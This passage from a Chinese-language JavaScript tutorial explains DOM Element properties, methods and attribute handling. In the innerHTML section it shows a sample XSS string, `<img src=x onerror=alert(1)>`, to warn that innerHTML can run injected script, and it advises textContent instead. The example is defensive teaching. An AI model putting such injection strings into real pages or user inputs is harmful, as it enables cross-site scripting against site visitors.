    console.log('queryCommandEnabled is false');
  }
}
```

上面代码中，先判断浏览器是否支持`copy`命令（允许可编辑区域的选中内容，复制到剪贴板），如果支持，就新建一个临时文本框，里面写入内容“你好”，并将其选中。然后，判断是否选中成功，如果成功，就将“你好”复制到剪贴板，再删除那个临时文本框。

#### document.getSelection()

这个方法指向`window.getSelection()`

---

---
url: /js/z3bj6ewr/index.md
---
### Element 节点

`Element`节点对象对应网页的 HTML 元素。每一个 HTML 元素，在 DOM 树上都会转化成一个`Element`节点对象（以下简称元素节点）。

元素节点的`nodeType`属性都是`1`。

```js
var p = document.querySelector('p');
p.nodeName // "P"
p.nodeType // 1
```

`Element`对象继承了`Node`接口，因此`Node`的属性和方法在`Element`对象都存在。

此外，不同的 HTML 元素对应的元素节点是不一样的，浏览器使用不同的构造函数，生成不同的元素节点，比如`<a>`元素的构造函数是`HTMLAnchorElement()`，`<button>`是`HTMLButtonElement()`。因此，元素节点不是一种对象，而是许多种对象，这些对象除了继承`Element`对象的属性和方法，还有各自独有的属性和方法。

#### 实例属性

##### 元素特性

元素特性的相关属性

###### **（1）Element.id**

`Element.id`属性返回指定元素的`id`属性，该属性可读写。

```js
// HTML 代码为 <p id="foo">
var p = document.querySelector('p');
p.id // "foo"
```

注意，`id`属性的值是大小写敏感，即浏览器能正确识别`<p id="foo">`和`<p id="FOO">`这两个元素的`id`属性，但是最好不要这样命名。

###### **（2）Element.tagName**

`Element.tagName`属性返回指定元素的大写标签名，与`nodeName`属性的值相等。

```js
// HTML代码为
// <span id="myspan">Hello</span>
var span = document.getElementById('myspan');
span.id // "myspan"
span.tagName // "SPAN"
```

###### **（3）Element.dir**

`Element.dir`属性用于读写当前元素的文字方向，可能是从左到右（`"ltr"`），也可能是从右到左（`"rtl"`）。

###### **（4）Element.accessKey**

`Element.accessKey`属性用于读写分配给当前元素的快捷键。

```js
// HTML 代码如下
// <button accesskey="h" id="btn">点击</button>
var btn = document.getElementById('btn');
btn.accessKey // "h"
```

上面代码中，`btn`元素的快捷键是`h`，按下`Alt + h`就能将焦点转移到它上面。

###### **（5）Element.draggable**

`Element.draggable`属性返回一个布尔值，表示当前元素是否可拖动。该属性可读写。

###### **（6）Element.lang**

`Element.lang`属性返回当前元素的语言设置。该属性可读写。

```js
// HTML 代码如下
// <html lang="en">
document.documentElement.lang // "en"
```

###### **（7）Element.tabIndex**

`Element.tabIndex`属性返回一个整数，表示当前元素在 Tab 键遍历时的顺序。该属性可读写。

`tabIndex`属性值如果是负值（通常是`-1`），则 Tab 键不会遍历到该元素。如果是正整数，则按照顺序，从小到大遍历。如果两个元素的`tabIndex`属性的正整数值相同，则按照出现的顺序遍历。遍历完所有`tabIndex`为正整数的元素以后，再遍历所有`tabIndex`等于`0`、或者属性值是非法值、或者没有`tabIndex`属性的元素，顺序为它们在网页中出现的顺序。

###### **（8）Element.title**

`Element.title`属性用来读写当前元素的 HTML 属性`title`。该属性通常用来指定，鼠标悬浮时弹出的文字提示框。

##### 元素状态

元素状态的相关属性

###### （1）Element.hidden

`Element.hidden`属性返回一个布尔值，表示当前 HTML 元素的`hidden`属性的值。该属性可读写，用来控制当前元素是否可见。

```js
var btn = document.getElementById('btn');
var mydiv = document.getElementById('mydiv');

btn.addEventListener('click', function () {
  mydiv.hidden = !mydiv.hidden;
}, false);
```

注意，该属性与 CSS 设置是互相独立的。CSS 对当前元素可见性的设置，`Element.hidden`并不能反映出来。也就是说，这个属性并不能用来判断当前元素的实际可见性。

CSS 设置的优先级高于`Element.hidden`。如果 CSS 指定了该元素不可见（`display: none`）或可见（`visibility: visible`），那么`Element.hidden`并不能改变该元素实际的可见性。换言之，**这个属性只在 CSS 没有明确设定当前元素的可见性时才有效。**

###### （2）Element.contentEditable

HTML 元素可以设置`contentEditable`属性，使得元素的内容可以编辑。

```html
<div contenteditable>123</div>
```

上面代码中，`<div>`元素有`contenteditable`属性，因此用户可以在网页上编辑这个区块的内容。

`Element.contentEditable`属性返回一个字符串，表示是否设置了`contenteditable`属性，有三种可能的值。该属性可写。

* `true`：元素内容可编辑
* `false`：元素内容不可编辑
* `inherit`：元素是否可编辑，继承了父元素的设置

###### （3）**Element.isContentEditable**

`Element.isContentEditable`属性返回一个布尔值，同样表示是否设置了`contenteditable`属性。该属性只读。

##### Element.attributes

`Element.attributes`属性返回一个类似数组的对象，成员是当前元素节点的所有属性节点。

```js
var p = document.querySelector('p');
var attrs = p.attributes;

for (var i = attrs.length - 1; i >= 0; i--) {
  console.log(attrs[i].name + '->' + attrs[i].value);
}
```

上面代码遍历`p`元素的所有属性。

##### Element.className

`className`属性用来读写当前元素节点的`class`属性。它的值是一个字符串，每个`class`之间用空格分割。

##### Element.classList

`classList`属性返回一个类似数组的对象，当前元素节点的每个`class`就是这个对象的一个成员。

```js
// HTML 代码 <div class="one two three" id="myDiv"></div>
var div = document.getElementById('myDiv');

div.className
// "one two three"

div.classList
// {
//   0: "one"
//   1: "two"
//   2: "three"
//   length: 3
// }
```

`classList`对象有下列方法。

* `add()`：增加一个 class。
* `remove()`：移除一个 class。
* `contains()`：检查当前元素是否包含某个 class。
* `toggle()`：将某个 class 移入或移出当前元素。
* `item()`：返回指定索引位置的 class。
* `toString()`：将 class 的列表转为字符串。

```js
var div = document.getElementById('myDiv');

div.classList.add('myCssClass');
div.classList.add('foo', 'bar');
div.classList.remove('myCssClass');
div.classList.toggle('myCssClass'); // 如果 myCssClass 不存在就加入，否则移除
div.classList.contains('myCssClass'); // 返回 true 或者 false
div.classList.item(0); // 返回第一个 Class
div.classList.toString();
```

下面比较一下，`className`和`classList`在添加和删除某个 class 时的写法。

```js
var foo = document.getElementById('foo');

// 添加class
foo.className += 'bold';
foo.classList.add('bold');

// 删除class
foo.classList.remove('bold');
foo.className = foo.className.replace(/^bold$/, '');
```

`toggle`方法可以接受一个布尔值，作为第二个参数。如果为`true`，则添加该属性；如果为`false`，则去除该属性。

```js
el.classList.toggle('abc', boolValue);

// 等同于
if (boolValue) {
  el.classList.add('abc');
} else {
  el.classList.remove('abc');
}
```

##### Element.dataset

网页元素可以自定义`data-`属性，用来添加数据。

```js
<div data-timestamp="1522907809292"></div>
```

上面代码中，`<div>`元素有一个自定义的`data-timestamp`属性，用来为该元素添加一个时间戳。

`Element.dataset`属性返回一个对象，可以从这个对象读写`data-`属性。

```js
// <article
//   id="foo"
//   data-columns="3"
//   data-index-number="12314"
//   data-parent="cars">
//   ...
// </article>
var article = document.getElementById('foo');
article.dataset.columns // "3"
article.dataset.indexNumber // "12314"
article.dataset.parent // "cars"
```

注意，`dataset`上面的各个属性返回都是字符串。

HTML 代码中，`data-`属性的属性名，只能包含英文字母、数字、连词线（`-`）、点（`.`）、冒号（`:`）和下划线（`_`）。它们转成 JavaScript 对应的`dataset`属性名，规则如下。

* 开头的`data-`会省略。
* 如果连词线后面跟了一个英文字母，那么连词线会取消，该字母变成大写。
* 其他字符不变。

因此，`data-abc-def`对应`dataset.abcDef`，`data-abc-1`对应`dataset["abc-1"]`。

除了使用`dataset`读写`data-`属性，也可以使用`Element.getAttribute()`和`Element.setAttribute()`，通过完整的属性名读写这些属性。

```js
var mydiv = document.getElementById('mydiv');

mydiv.dataset.foo = 'bar';
mydiv.getAttribute('data-foo') // "bar"
```

##### Element.innerHTML

`Element.innerHTML`属性返回一个字符串，等同于该元素包含的所有 HTML 代码。该属性可读写，常用来设置某个节点的内容。它能改写所有元素节点的内容，包括`<HTML>`和`<body>`元素。

如果将`innerHTML`属性设为空，等于删除所有它包含的所有节点。

```js
el.innerHTML = '';
```

上面代码等于将`el`节点变成了一个空节点，`el`原来包含的节点被全部删除。

注意，读取属性值的时候，如果文本节点包含`&`、小于号（`<`）和大于号（`>`），`innerHTML`属性会将它们转为实体形式`&amp;`、`&lt;`、`&gt;`。如果想得到原文，建议使用`element.textContent`属性。

```js
// HTML代码如下 <p id="para"> 5 > 3 </p>
document.getElementById('para').innerHTML
// 5 &gt; 3
```

写入的时候，如果插入的文本包含 HTML 标签，会被解析成为节点对象插入 DOM。注意，如果文本之中含有`<script>`标签，虽然可以生成`script`节点，但是插入的代码不会执行。

```js
var name = "<script>alert('haha')</script>";
el.innerHTML = name;
```

上面代码将脚本插入内容，脚本并不会执行。但是，`innerHTML`还是有安全风险的。

```js
var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name;
```

上面代码中，`alert`方法是会执行的。因此为了安全考虑，如果插入的是文本，最好用`textContent`属性代替`innerHTML`。

##### Element.outerHTML

`Element.outerHTML`属性返回一个字符串，表示当前元素节点的所有 HTML 代码，包括该**元素本身和所有子元素。**

```js
// HTML 代码如下
// <div id="d"><p>Hello</p></div>
var d = document.getElementById('d');
d.outerHTML
// '<div id="d"><p>Hello</p></div>'
```

`outerHTML`属性是可读写的，对它进行赋值，等于替换掉当前元素。

```js
// HTML 代码如下
// <div id="container"><div id="d">Hello</div></div>
var container = document.getElementById('container');
var d = document.getElementById('d');
container.firstChild.nodeName // "DIV"
d.nodeName // "DIV"

d.outerHTML = '<p>Hello</p>';
container.firstChild.nodeName // "P"
d.nodeName // "DIV"	
```

上面代码中，变量`d`代表子节点，它的`outerHTML`属性重新赋值以后，内层的`div`元素就不存在了，被`p`元素替换了。但是，变量`d`依然指向原来的`div`元素，这表示被替换的`DIV`元素还存在于内存中。

**注意**，如果一个节点没有父节点，设置`outerHTML`属性会报错。

##### Element.clientHeight

`Element.clientHeight`属性返回一个整数值，表示元素节点的 CSS 高度（单位像素），只对块级元素生效，对于行内元素返回`0`。如果块级元素没有设置 CSS 高度，则返回实际高度。

除了元素本身的高度，它还包括`padding`部分，但是不包括`border`、`margin`。如果有水平滚动条，还要减去水平滚动条的高度。注意，这个值始终是整数，如果是小数会被四舍五入。

##### Element.clientWidth

`Element.clientWidth`属性返回元素节点的 CSS 宽度，同样只对块级元素有效，也是只包括元素本身的宽度和`padding`，如果有垂直滚动条，还要减去垂直滚动条的宽度。

`document.documentElement`的`clientHeight`属性，返回当前视口的高度（即浏览器窗口的高度），等同于`window.innerHeight`属性减去水平滚动条的高度（如果有的话）。`document.body`的高度则是网页的实际高度。一般来说，`document.body.clientHeight`大于`document.documentElement.clientHeight`。

```js
// 视口高度
document.documentElement.clientHeight

// 网页总高度
document.body.clientHeight
```

##### Element.clientLeft

`Element.clientLeft`属性等于元素节点左边框（left border）的宽度（单位像素），不包括左侧的`padding`和`margin`。如果没有设置左边框，或者是行内元素（`display: inline`），该属性返回`0`。该属性总是返回整数值，如果是小数，会四舍五入。

##### Element.clientTop

`Element.clientTop`属性等于网页元素顶部边框的宽度（单位像素），其他特点都与`clientLeft`相同。

##### Element.scrollHeight

`Element.scrollHeight`属性返回一个整数值（小数会四舍五入），表示当前元素的总高度（单位像素），包括溢出容器、当前不可见的部分。

它包括`padding`，但是不包括`border`、`margin`以及水平滚动条的高度（如果有水平滚动条的话），还包括伪元素（`::before`或`::after`）的高度。

##### Element.scrollWidth

`Element.scrollWidth`属性表示当前元素的总宽度（单位像素），其他地方都与`scrollHeight`属性类似。这两个属性只读。

整张网页的总高度可以从`document.documentElement`或`document.body`上读取。

```js
// 返回网页的总高度
document.documentElement.scrollHeight
document.body.scrollHeight
```

注意，如果元素节点的内容出现溢出，即使溢出的内容是隐藏的，`scrollHeight`属性仍然返回元素的总高度。

```js
// HTML 代码如下
// <div id="myDiv" style="height: 200px; overflow: hidden;">...</div>
document.getElementById('myDiv').scrollHeight // 200
```

上面代码中，即使`myDiv`元素的 CSS 高度只有200像素，且溢出部分不可见，但是`scrollHeight`仍然会返回该元素的原始高度。

##### Element.scrollLeft

`Element.scrollLeft`属性表示当前元素的水平滚动条向右侧滚动的像素数量。

##### Element.scrollTop

`Element.scrollTop`属性表示当前元素的垂直滚动条向下滚动的像素数量。

上述两个属性对于那些没有滚动条的网页元素，这两个属性总是等于0。

如果要查看整张网页的水平的和垂直的滚动距离，要从`document.documentElement`元素上读取。

```js
document.documentElement.scrollLeft
document.documentElement.scrollTop
```

这两个属性都可读写，设置该属性的值，会导致浏览器将当前元素自动滚动到相应的位置。

##### Element.offsetParent

`Element.offsetParent`属性返回最靠近当前元素的、并且 CSS 的`position`属性不等于`static`的上层元素。

```js
<div style="position: absolute;">
  <p>
    <span>Hello</span>
  </p>
</div>
```

上面代码中，`span`元素的`offsetParent`属性就是`div`元素。

该属性主要用于确定子元素位置偏移的计算基准，`Element.offsetTop`和`Element.offsetLeft`就是`offsetParent`元素计算的。

如果该元素是不可见的（`display`属性为`none`），或者位置是固定的（`position`属性为`fixed`），则`offsetParent`属性返回`null`。

```js
<div style="position: absolute;">
  <p>
    <span style="display: none;">Hello</span>
  </p>
</div>
```

上面代码中，`span`元素的`offsetParent`属性是`null`。

如果某个元素的所有上层节点的`position`属性都是`static`，则`Element.offsetParent`属性指向`<body>`元素。

##### Element.offsetHeight

`Element.offsetHeight`属性返回一个整数，表示元素的 CSS 垂直高度（单位像素），包括元素本身的高度、padding 和 border，以及水平滚动条的高度（如果存在滚动条）

##### Element.offsetWidth

`Element.offsetWidth`属性表示元素的 CSS 水平宽度（单位像素），其他都与`Element.offsetHeight`一致。

这两个属性都是只读属性，只比`Element.clientHeight`和`Element.clientWidth`多了边框的高度或宽度。如果元素的 CSS 设为不可见（比如`display: none;`），则返回`0`。

##### Element.offsetLeft

##### Element.offsetTop

`Element.offsetLeft`返回当前元素左上角相对于`Element.offsetParent`节点的水平位移，`Element.offsetTop`返回垂直位移，单位为像素。通常，这两个值是指相对于父节点的位移。

下面的代码可以算出元素左上角相对于整张网页的坐标。

```js
function getElementPosition(e) {
  var x = 0;
  var y = 0;
  while (e !== null)  {
    x += e.offsetLeft;
    y += e.offsetTop;
    e = e.offsetParent;
  }
  return {x: x, y: y};
}
```

##### Element.style

每个元素节点都有`style`用来读写该元素的行内样式信息。

##### Element.children

##### Element.childElementCount

`Element.children`属性返回一个类似数组的对象（`HTMLCollection`实例），包括当前元素节点的所有子元素。如果当前元素没有子元素，则返回的对象包含零个成员。

这个属性与`Node.childNodes`属性的区别是，它只包括元素类型的子节点，不包括其他类型的子节点。

`Element.childElementCount`属性返回当前元素节点包含的子元素节点的个数，与`Element.children.length`的值相同。

##### Element.firstElementChild

##### Element.lastElementChild

`Element.firstElementChild`属性返回当前元素的第一个元素子节点，`Element.lastElementChild`返回最后一个元素子节点。

如果没有元素子节点，这两个属性返回`null`。

##### Element.nextElementSibling

##### Element.previousElementSibling

`Element.nextElementSibling`属性返回当前元素节点的后一个同级元素节点，如果没有则返回`null`。

```js
// HTML 代码如下
// <div id="div-01">Here is div-01</div>
// <div id="div-02">Here is div-02</div>
var el = document.getElementById('div-01');
el.nextElementSibling
// <div id="div-02">Here is div-02</div>
```

`Element.previousElementSibling`属性返回当前元素节点的前一个同级元素节点，如果没有则返回`null`。

#### 实例方法

##### 属性相关

元素节点提供六个方法，用来操作属性。

* `getAttribute()`：读取某个属性的值
* `getAttributeNames()`：返回当前元素的所有属性名
* `setAttribute()`：写入属性值
* `hasAttribute()`：某个属性是否存在
* `hasAttributes()`：当前元素是否有属性
* `removeAttribute()`：删除属性

##### Element.querySelector()

`Element.querySelector`方法接受 CSS 选择器作为参数，返回父元素的第一个匹配的子元素。如果没有找到匹配的子元素，就返回`null`。

```js
var content = document.getElementById('content');
var el = content.querySelector('p');
```

上面代码返回`content`节点的第一个`p`元素。

`Element.querySelector`方法可以接受任何复杂的 CSS 选择器。

注意，这个方法无法选中伪元素。

它可以接受多个选择器，它们之间使用逗号分隔。

```js
element.querySelector('div, p')
```

上面代码返回`element`的第一个`div`或`p`子元素。

需要注意的是，浏览器执行`querySelector`方法时，**是先在全局范围内搜索给定的 CSS 选择器，然后过滤出哪些属于当前元素的子元素**。因此，会有一些违反直觉的结果，下面是一段 HTML 代码。

```js
<div>
<blockquote id="outer">
  <p>Hello</p>
  <div id="inner">
    <p>World</p>
  </div>
</blockquote>
</div>
```

那么，像下面这样查询的话，实际上返回的是第一个`p`元素，而不是第二个。

```js
var outer = document.getElementById('outer');
outer.querySelector('div p')
// <p>Hello</p>
```

##### Element.querySelectorAll()

`Element.querySelectorAll`方法接受 CSS 选择器作为参数，返回一个`NodeList`实例，包含所有匹配的子元素。

```js
var el = document.querySelector('#test');
var matches = el.querySelectorAll('div.highlighted > p');
```

该方法的执行机制与`querySelector`方法相同，也是先在全局范围内查找，再过滤出当前元素的子元素。因此，选择器实际上针对整个文档的。

它也可以接受多个 CSS 选择器，它们之间使用逗号分隔。如果选择器里面有伪元素的选择器，则总是返回一个空的`NodeList`实例。

##### Element.getElementsByClassName()

`Element.getElementsByClassName`方法返回一个`HTMLCollection`实例，成员是当前元素节点的所有具有指定 class 的子元素节点。该方法与`document.getElementsByClassName`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。

```js
element.getElementsByClassName('red test');
```

**注意**，该方法的参数大小写敏感。

由于`HTMLCollection`实例是一个活的集合，`document`对象的任何变化会立刻反应到实例，下面的代码不会生效。

```js
// HTML 代码如下
// <div id="example">
//   <p class="foo"></p>
//   <p class="foo"></p>
// </div>
var element = document.getElementById('example');
var matches = element.getElementsByClassName('foo');

for (var i = 0; i< matches.length; i++) {
  matches[i].classList.remove('foo');
  matches.item(i).classList.add('bar');
}
// 执行后，HTML 代码如下
// <div id="example">
//   <p></p>
//   <p class="foo bar"></p>
// </div>
```

上面代码中，`matches`集合的第一个成员，一旦被拿掉 class 里面的`foo`，就会立刻从`matches`里面消失，导致出现上面的结果。

##### Element.getElementsByTagName()

`Element.getElementsByTagName()`方法返回一个`HTMLCollection`实例，成员是当前节点的所有匹配指定标签名的子元素节点。该方法与`document.getElementsByClassName()`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。

```js
var table = document.getElementById('forecast-table');
var cells = table.getElementsByTagName('td');
```

注意，该方法的参数是大小写不敏感的，因为 HTML 标签名也是大小写不敏感。

##### Element.closest()

`Element.closest`方法接受一个 CSS 选择器作为参数，返回匹配该选择器的、最接近当前节点的一个祖先节点（包括当前节点本身）。如果没有任何节点匹配 CSS 选择器，则返回`null`。

##### Element.matches()

`Element.matches`方法返回一个布尔值，表示当前元素是否匹配给定的 CSS 选择器。

```js
if (el.matches('.someClass')) {
  console.log('Match!');
}
```

##### 事件相关

以下三个方法与`Element`节点的事件相关。这些方法都继承自`EventTarget`接口。

* `Element.addEventListener()`：添加事件的回调函数
* `Element.removeEventListener()`：移除事件监听函数
* `Element.dispatchEvent()`：触发事件

```js
var event = new Event('click');
element.dispatchEvent(event);
```

##### Element.scrollIntoView()

`Element.scrollIntoView`方法滚动当前元素，进入浏览器的可见区域，类似于设置`window.location.hash`的效果。

该方法可以接受一个布尔值作为参数。如果为`true`，表示元素的顶部与当前区域的可见部分的顶部对齐（前提是当前区域可滚动）；

如果为`false`，表示元素的底部与当前区域的可见部分的尾部对齐（前提是当前区域可滚动）。如果没有提供该参数，默认为`true`。

##### Element.getBoundingClientRect()

`Element.getBoundingClientRect`方法返回一个对象，提供当前元素节点的大小、位置等信息，基本上就是 CSS 盒状模型的所有信息。

```js
var rect = obj.getBoundingClientRect();
```

上面代码中，`getBoundingClientRect`方法返回的`rect`对象，具有以下属性（全部为只读）。

* `x`：元素左上角相对于视口的横坐标
* `y`：元素左上角相对于视口的纵坐标
* `height`：元素高度
* `width`：元素宽度
* `left`：元素左上角相对于视口的横坐标，与`x`属性相等
* `right`：元素右边界相对于视口的横坐标（等于`x + width`）
* `top`：元素顶部相对于视口的纵坐标，与`y`属性相等
* `bottom`：元素底部相对于视口的纵坐标（等于`y + height`）

由于元素相对于视口（viewport）的位置，会随着页面滚动变化，因此表示位置的四个属性值，都不是固定不变的。如果想得到绝对位置，可以将`left`属性加上`window.scrollX`，`top`属性加上`window.scrollY`。

**注意**，`getBoundingClientRect`方法的所有属性，都把边框（`border`属性）算作元素的一部分。也就是说，都是从边框外缘的各个点来计算。因此，`width`和`height`包括了元素本身 + `padding` + `border`。

另外，上面的这些属性，都是继承自原型的属性，`Object.keys`会返回一个空数组，这一点也需要注意。

```js
var rect = document.body.getBoundingClientRect();
Object.keys(rect) // []
```

上面代码中，`rect`对象没有自身属性，而`Object.keys`方法只返回对象自身的属性，所以返回了一个空数组。

##### Element.getClientRects()

`Element.getClientRects`方法返回一个类似数组的对象，里面是当前元素在页面上形成的所有矩形（所以方法名中的`Rect`用的是复数）。每个矩形都有`bottom`、`height`、`left`、`right`、`top`和`width`六个属性，表示它们相对于视口的四个坐标，以及本身的高度和宽度。

##### Element.insertAdjacentElement()

`Element.insertAdjacentElement`方法在相对于当前元素的指定位置，插入一个新的节点。该方法返回被插入的节点，如果插入失败，返回`null`。

```js
element.insertAdjacentElement(position, element);
```

`Element.insertAdjacentElement`方法一共可以接受两个参数，第一个参数是一个字符串，表示插入的位置，第二个参数是将要插入的节点。第一个参数只可以取如下的值。

* `beforebegin`：当前元素之前
* `afterbegin`：当前元素内部的第一个子节点前面
* `beforeend`：当前元素内部的最后一个子节点后面
* `afterend`：当前元素之后

注意，`beforebegin`和`afterend`这两个值，只在当前节点有父节点时才会生效。如果当前节点是由脚本创建的，没有父节点，那么插入会失败。

如果插入的节点是一个文档里现有的节点，它会从原有位置删除，放置到新的位置。

##### Element.insertAdjacentHTML()

##### Element.insertAdjacentText()

`Element.insertAdjacentHTML`方法用于将一个 HTML 字符串，解析生成 DOM 结构，插入相对于当前节点的指定位置。

```js
element.insertAdjacentHTML(position, text);
```

该方法接受两个参数，第一个是一个表示指定位置的字符串，第二个是待解析的 HTML 字符串。第一个参数只能设置下面四个值之一。

* `beforebegin`：当前元素之前
* `afterbegin`：当前元素内部的第一个子节点前面
* `beforeend`：当前元素内部的最后一个子节点后面
* `afterend`：当前元素之后

```js
// HTML 代码：<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
// 执行后的 HTML 代码：
// <div id="one">one</div><div id="two">two</div>
```

该方法只是在现有的 DOM 结构里面插入节点，这使得它的执行速度比`innerHTML`方法快得多。

注意，该方法不会转义 HTML 字符串，这导致它不能用来插入用户输入的内容，否则会有安全风险。

`Element.insertAdjacentText`方法在相对于当前节点的指定位置，插入一个文本节点，用法与`Element.insertAdjacentHTML`方法完全一致。

```js
// HTML 代码：<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentText('afterend', 'two');
// 执行后的 HTML 代码：
// <div id="one">one</div>two
```

##### Element.remove()

`Element.remove`方法继承自 ChildNode 接口，用于将当前元素节点从它的父节点移除。

```js
var el = document.getElementById('mydiv');
el.remove();
```

上面代码将`el`节点从 DOM 树里面移除。

##### Element.focus()

##### Element.blur()

`Element.focus`方法用于将当前页面的焦点，转移到指定元素上。

```js
document.getElementById('my-span').focus();
```

该方法可以接受一个对象作为参数。参数对象的`preventScroll`属性是一个布尔值，指定是否将当前元素停留在原始位置，而不是滚动到可见区域。

```js
function getFocus() {
  document.getElementById('btn').focus({preventScroll:false});
}
```

上面代码会让`btn`元素获得焦点，并滚动到可见区域。

最后，从`document.activeElement`属性可以得到当前获得焦点的元素。

`Element.blur`方法用于将焦点从当前元素移除。

##### Element.click()

`Element.click`方法用于在当前元素上模拟一次鼠标点击，相当于触发了`click`事件。

### 属性操作

HTML 元素包括标签名和若干个键值对，这个键值对就称为“属性”（attribute）。

```js
<a id="test" href="http://www.example.com">
  链接
</a>
```

上面代码中，`a`元素包括两个属性：`id`属性和`href`属性。

属性本身是一个对象（`Attr`对象），但是实际上，这个对象极少使用。一般都是通过元素节点对象（`HTMlElement`对象）来操作属性。

#### Element.attributes 属性

元素对象有一个`attributes`属性，返回一个类似数组的动态对象，成员是该元素标签的所有属性节点对象，属性的实时变化都会反映在这个节点对象上。

其他类型的节点对象，虽然也有`attributes`属性，但返回的都是`null`，因此可以把这个属性视为元素对象独有的。

单个属性可以通过序号引用，也可以通过属性名引用。

```js
// HTML 代码如下
// <body bgcolor="yellow" onload="">
document.body.attributes[0]
document.body.attributes.bgcolor
document.body.attributes['ONLOAD']
```

注意，上面代码的三种方法，返回的都是属性节点对象，而不是属性值。

属性节点对象有`name`和`value`属性，对应该属性的属性名和属性值，等同于`nodeName`属性和`nodeValue`属性。

```js
// HTML代码为
// <div id="mydiv">
var n = document.getElementById('mydiv');

n.attributes[0].name // "id"
n.attributes[0].nodeName // "id"

n.attributes[0].value // "mydiv"
n.attributes[0].nodeValue // "mydiv"
```

下面代码可以遍历一个元素节点的所有属性。

```js
var para = document.getElementsByTagName('p')[0];
var result = document.getElementById('result');

if (para.hasAttributes()) {
  var attrs = para.attributes;
  var output = '';
  for(var i = attrs.length - 1; i >= 0; i--) {
    output += attrs[i].name + '->' + attrs[i].value;
  }
  result.textContent = output;
} else {
  result.textContent = 'No attributes to show';
}
```

#### 元素的标准属性

HTML 元素的标准属性（即在标准中定义的属性），会自动成为元素节点对象的属性。

```js
var a = document.getElementById('test');
a.id // "test"
a.href // "http://www.example.com/"
```

上面代码中，`a`元素标签的属性`id`和`href`，自动成为节点对象的属性。

这些属性都是可写的。

```js
var img = document.getElementById('myImage');
img.src = 'http://www.example.com/image.jpg';
```

上面的写法，会立刻替换掉`img`对象的`src`属性，即会显示另外一张图片。

这种修改属性的方法，常常用于添加表单的属性。

```js
var f = document.forms[0];
f.action = 'submit.php';
f.method = 'POST';
```

上面代码为表单添加提交网址和提交方法。

注意，这种用法虽然可以读写属性，但是无法删除属性，`delete`运算符在这里不会生效。

HTML 元素的属性名是大小写不敏感的，但是 JavaScript 对象的属性名是大小写敏感的。转换规则是，转为 JavaScript 属性名时，一律采用小写。如果属性名包括多个单词，则采用骆驼拼写法，即从第二个单词开始，每个单词的首字母采用大写，比如`onClick`。

有些 HTML 属性名是 JavaScript 的保留字，转为 JavaScript 属性时，必须改名。主要是以下两个。

* `for`属性改为`htmlFor`
* `class`属性改为`className`

另外，HTML 属性值一般都是字符串，但是 JavaScript 属性会自动转换类型。比如，将字符串`true`转为布尔值，将`onClick`的值转为一个函数，将`style`属性的值转为一个`CSSStyleDeclaration`对象。因此，可以对这些属性赋予各种类型的值。

#### 属性操作的标准方法

##### 概述

元素节点提供六个方法，用来操作属性。

* `getAttribute()`
* `getAttributeNames()`
* `setAttribute()`
* `hasAttribute()`
* `hasAttributes()`
* `removeAttribute()`

这有几点注意。

**（1）适用性**

这六个方法对所有属性（包括用户自定义的属性）都适用。

**（2）返回值**

`getAttribute()`只返回字符串，不会返回其他类型的值。

**（3）属性名**

这些方法只接受属性的标准名称，不用改写保留字，比如`for`和`class`都可以直接使用。另外，这些方法对于属性名是大小写不敏感的。

```js
var image = document.images[0];
image.setAttribute('class', 'myImage');
```

上面代码中，`setAttribute`方法直接使用`class`作为属性名，不用写成`className`。

##### Element.getAttribute()

`Element.getAttribute`方法返回当前元素节点的指定属性。如果指定属性不存在，则返回`null`。

```js
// HTML 代码为
// <div id="div1" align="left">
var div = document.getElementById('div1');
div.getAttribute('align') // "left"
```

##### Element.getAttributeNames()

`Element.getAttributeNames()`返回一个数组，成员是当前元素的所有属性的名字。如果当前元素没有任何属性，则返回一个空数组。

使用`Element.attributes`属性，也可以拿到同样的结果，唯一的区别是它返回的是类似数组的对象。

```js
var mydiv = document.getElementById('mydiv');

mydiv.getAttributeNames().forEach(function (key) {
  var value = mydiv.getAttribute(key);
  console.log(key, value);
})
```

上面代码用于遍历某个节点的所有属性。

##### Element.setAttribute()

`Element.setAttribute`方法用于为当前元素节点新增属性。如果同名属性已存在，则相当于编辑已存在的属性。该方法没有返回值。

```js
// HTML 代码为
// <button>Hello World</button>
var b = document.querySelector('button');
b.setAttribute('name', 'myButton');
b.setAttribute('disabled', true);
```

上面代码中，`button`元素的`name`属性被设成`myButton`，`disabled`属性被设成`true`。

这里有两个地方需要注意，首先，属性值总是字符串，其他类型的值会自动转成字符串，比如布尔值`true`就会变成字符串`true`；

其次，上例的`disable`属性是一个布尔属性，对于`<button>`元素来说，这个属性不需要属性值，只要设置了就总是会生效，因此`setAttribute`方法里面可以将`disabled`属性设成任意值。

##### Element.hasAttribute()

`Element.hasAttribute`方法返回一个布尔值，表示当前元素节点是否包含指定属性。

```js
var d = document.getElementById('div1');

if (d.hasAttribute('align')) {
  d.setAttribute('align', 'center');
}
```

上面代码检查`div`节点是否含有`align`属性。如果有，则设置为居中对齐。

##### Element.hasAttributes()

`Element.hasAttributes`方法返回一个布尔值，表示当前元素是否有属性，如果没有任何属性，就返回`false`，否则返回`true`。

```js
var foo = document.getElementById('foo');
foo.hasAttributes() // true
```

##### Element.removeAttribute()

`Element.removeAttribute`方法移除指定属性。该方法没有返回值。

```js
// HTML 代码为
// <div id="div1" align="left" width="200px">
document.getElementById('div1').removeAttribute('align');
// 现在的HTML代码为
// <div id="div1" width="200px">
```

#### dataset 属性

有时，需要在HTML元素上附加数据，供 JavaScript 脚本使用。一种解决方法是自定义属性。

```html
<div id="mydiv" foo="bar">
```

上面代码为`div`元素自定义了`foo`属性，然后可以用`getAttribute()`和`setAttribute()`读写这个属性。

```js
var n = document.getElementById('mydiv');
n.getAttribute('foo') // bar
n.setAttribute('foo', 'baz')
```

这种方法虽然可以达到目的，但是会使得 HTML 元素的属性不符合标准，导致网页代码通不过校验。

更好的解决方法是，使用标准提供的`data-*`属性。

```js
<div id="mydiv" data-foo="bar">
```

然后，使用元素节点对象的`dataset`属性，它指向一个对象，可以用来操作 HTML 元素标签的`data-*`属性。

```js
var n = document.getElementById('mydiv');
n.dataset.foo // bar
n.dataset.foo = 'baz'
```

上面代码中，通过`dataset.foo`读写`data-foo`属性。

删除一个`data-*`属性，可以直接使用`delete`命令。

```js
delete document.getElementById('myDiv').dataset.foo;
```

